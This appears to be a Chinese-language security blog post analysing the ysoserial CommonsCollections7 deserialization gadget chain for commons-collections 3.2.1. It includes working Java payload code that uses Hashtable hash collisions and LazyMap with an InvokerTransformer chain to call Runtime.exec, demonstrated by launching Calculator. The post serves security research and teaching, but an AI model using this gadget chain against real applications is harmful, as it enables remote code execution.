前言
YsoSerial Common-Collection3.2.1 反序列化利用鏈終於來到最后一個,回顧一下:
- 以InvokerTranformer為基礎通過動態代理觸發AnnotationInvocationHandler里面的Invoker方法調用LazyMap get方式的CC1
- 以TemplatesImpl為基礎,通過TrAXFilter、InstantiateTransformer組合綁定LazyMap動態代理觸發AnnotationInvocationHandler#Invoker方法方式的CC3
- 在CC1 Lazymap的基礎上進一步包裝成TiedMapEntry,並以BadAttributeValueExpException調用TiedMapEntry#toString方法的CC5
- 在CC5基礎上將觸發換成HashMap調用hashCode方式的CC6
調用棧
接下來先看下cc7的代碼
public Hashtable getObject(final String command) throws Exception {
// Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{command};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
return hashtable;
}
抓一下調用棧,可以看到依次調用的是Hashtable#reconstitutionPut,AdstractMap#equals方法。然后調用LazyMap的get方法。
其實調用鏈出來后一切都索然無味了,但我們還是要分析下調用鏈各個環節的一些關鍵點,首先看下Hashtable的readObject方法源碼:
首先從序列化數據里面讀取了elements,然后for循環便利elements次讀取序列化里面的key、value值,這個elements和key、value分別是什么東西呢,找到writeObject尋找答案:
寫入了類變量count、然后迭代分別寫入了類變量table中entry的key、value,其實就是hashtable中的key、value,只不過內部實現是通過entry鏈表實現,然后跟進reconstitutionPut
, 這里有個key的關鍵方法e.key。equals
,結合前文我們分析過TiedMapEntry的equals可以觸發Lazymap的get進而RCE,其實直接使用TiedMapEntry#equal也是可以觸發的,這里就不展開TiedMapEntry吧,沒啥太大的意義,就按照Ysoserial作者思路來。
挖掘利用鏈
前面文章介紹了LazyMap#Get()方法觸發RCE的方法,來回憶下LazyMap觸發的調用鏈,當LazyMap調用get方法是,回去尋找綁定LazyMap中的是否存在key,不存在就通過transform方法去生成,而這個transformer是惡意的,那就觸發命令執行:
其實下一步就放在有誰能夠調用lazyMap的get方法,除開之前介紹的tiedMapEntity之外,還有LazyMap本身也能調用,在LazyMap綁定的是HashMap的情況下,調用LazyMap#equals其實就是調用HashMap的接口AbstractMap的equal方法,可以使用IDEA的findUsage方法,也能查到調用:
那觸發的方法擴展到誰調用LazyMap的equal就好了,而這就和HashTable就綁定起來了,HashTable的readObject里面就有觸發,但要滿足兩個條件:
- table[index] 不為null。
- 因為&&是從左向右執行,所以要e.hash等於當前實參key的hash。
首先分析下Hashtable#readObject 的整體邏輯,因為在Hashtable中實現邏輯的Entry對象被transient修飾,所以序列化的時候不能將table數據放到序列化數據里面,所以在writeObject時會單獨寫入key、value,readObject時重新put進entry當中。table的數量通過類變量count控制。
在迭代第一次傳入key、value時tab始終為空,所以要調用到equal至少要迭代兩次,也就要求table中的元素大於等於2,且兩個元素的key的hash值要一樣,那在構造除開hash一樣,還要求equals執行為false,不然就會用新元素的value替換舊元素,這樣table總的size就只為1,無法觸發反序列化RCE。
尋找hashCode()一樣,但又不相等的元素
那真的存在這樣的兩個值嗎?答案當然是存在,以String為例,我們看一下String的hashCode算法
核心邏輯就是:
h=31*h + val[i]
h初始值為0,將字符串拆分為字符,每次對結果乘以31再累加,那可以確定相同的h值,肯定對應不同的val[i]解,比如aa
和bB
,看一下結果:
那是不是我們就找到了符合作為Hashtable的key了,其實不是,我們想要執行的其實是Lazy Map的hashcode一致,內部其實是map的hashcode,找一下hashmap的實現,對key做hashcode,然后異或上value的hashcode:
其實只要key的hashcode一樣,然后value一樣就能滿足,試驗下:
結果:
創造兩個元素的HashTable
在上面已經找到hash一樣的HashMap的前提下,綁定到LazyMap上,然后分別push進HashTable,然后進行反序列化:
// Hashtable
String cmd="/System/Applications/Calculator.app/Contents/MacOS/Calculator";
System.out.println(System.getProperty("java.version"));
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
};
Transformer[] fakeTransfomer = new Transformer[]{
new ConstantTransformer(1)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransfomer);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer); // 生成了LazyMap 不可反序列化的map
lazyMap1.put("aa",1);
Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
lazyMap2.put("bB",1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,2);
ReflectUtils.setFields(chainedTransformer,"iTransformers", transformers);
String path = serialize(hashtable);
unserialize(path);
執行下,命令並沒有執行:
看樣子什么地方出了問題,打印下Hashtable的size,發現size為1,說明第二次put的時候出了問題,調試下發現問題出在了,AbstractMap上,因為我們為了避免序列化時執行命令將chainedTransfomer里面的transfoemer數組用constranTransfrom(1) 替代,命名為fakeTransfomer,而這個fakeTransformer執行后的結果為1,和hashtable的value1一致,所以會返回true。
hash和equl的判斷都為true,就會進入if分支,完成新舊變量替換,而不會新增元素,所以size始終為1
修改fakeTransfomer為一個空數組,或者將hashTable的value為其他值,為了更通用這里采用空數組的方式:
Transformer[] fakeTransfomer = new Transformer[]{
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransfomer);
再次執行,代碼還是沒有執行,打印size也是2,是滿足條件的,但為啥命令沒有執行呢,再次調試,發現問題出在了equal的判斷上,equal的判斷要求首先要滿足兩個hashMap的元素數量一致才能進行下一步的判斷,而在put時也會執行equal,調用到m.get()方法,而m是一個LazyMap,在LazyMap#get() 方法存在一個特性,就是在綁定到HashMap沒有這個元素的時候,動態添加一個這個沒有的元素,
所以在LazyMap2進行put操作時,會去get(lazyMap1.key),lazyMap1的key為"aa",所以lazyMap2會多一個aa為key,aa為value的元素(transformer數組為空時的執行結果),在put后打印下lazyMap2驗證下:
果然,因為兩個map Size的判斷在前面,這樣就不會執行后續進行RCE的get方法
所以,需要我們在第二次put后,把第二個hashmap進行remove一個key為aa的操作,完整代碼:
// Hashtable
String cmd="/System/Applications/Calculator.app/Contents/MacOS/Calculator";
System.out.println(System.getProperty("java.version"));
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
};
Transformer[] fakeTransfomer = new Transformer[]{
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransfomer);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer); // 生成了LazyMap 不可反序列化的map
lazyMap1.put("aa",1);
Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
lazyMap2.put("bB",1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,2);
lazyMap2.remove("aa");
System.out.println(hashtable.size());
ReflectUtils.setFields(chainedTransformer,"iTransformers", transformers);
String path = serialize(hashtable);
unserialize(path);
執行一下,命令成功執行:
YsoSerial的代碼幾乎一致僅就把我這里的aa和aB替換成yy和zZ。
總結
這篇文章分析了下CC7的原理,本來上周五應該就能發出文章的,但是卻因為文中那個fakeTransfomer的原因一直被卡住,不知道問題出在哪里,找了很多朋友看也沒看出問題,最終還是老老實實一步一步的調試才發現問題,以前只關注transformer的構造,沒關注最終的返回,難搞~,期間也去學習了下Java的值傳遞類型和HashMap實現原理等,消耗了比較長的時間。
這是Common-collections 3.2.1的最后一條利用鏈分析,這個也是沒有版本依賴的,我用jdk1.8u261也是能夠運行的,總結下代碼中關鍵點:
- 要找到兩個元素hashcode一樣,但euqal的結果又為false的hashmap。
- 使用fakeTransfomer時要關注返回滿足HashTable元素大雨等於2。
- 在第二次put過后要對第二個HashMap進行remove(remove第一個hashmap的key)。
公眾號
歡迎關注我的公眾號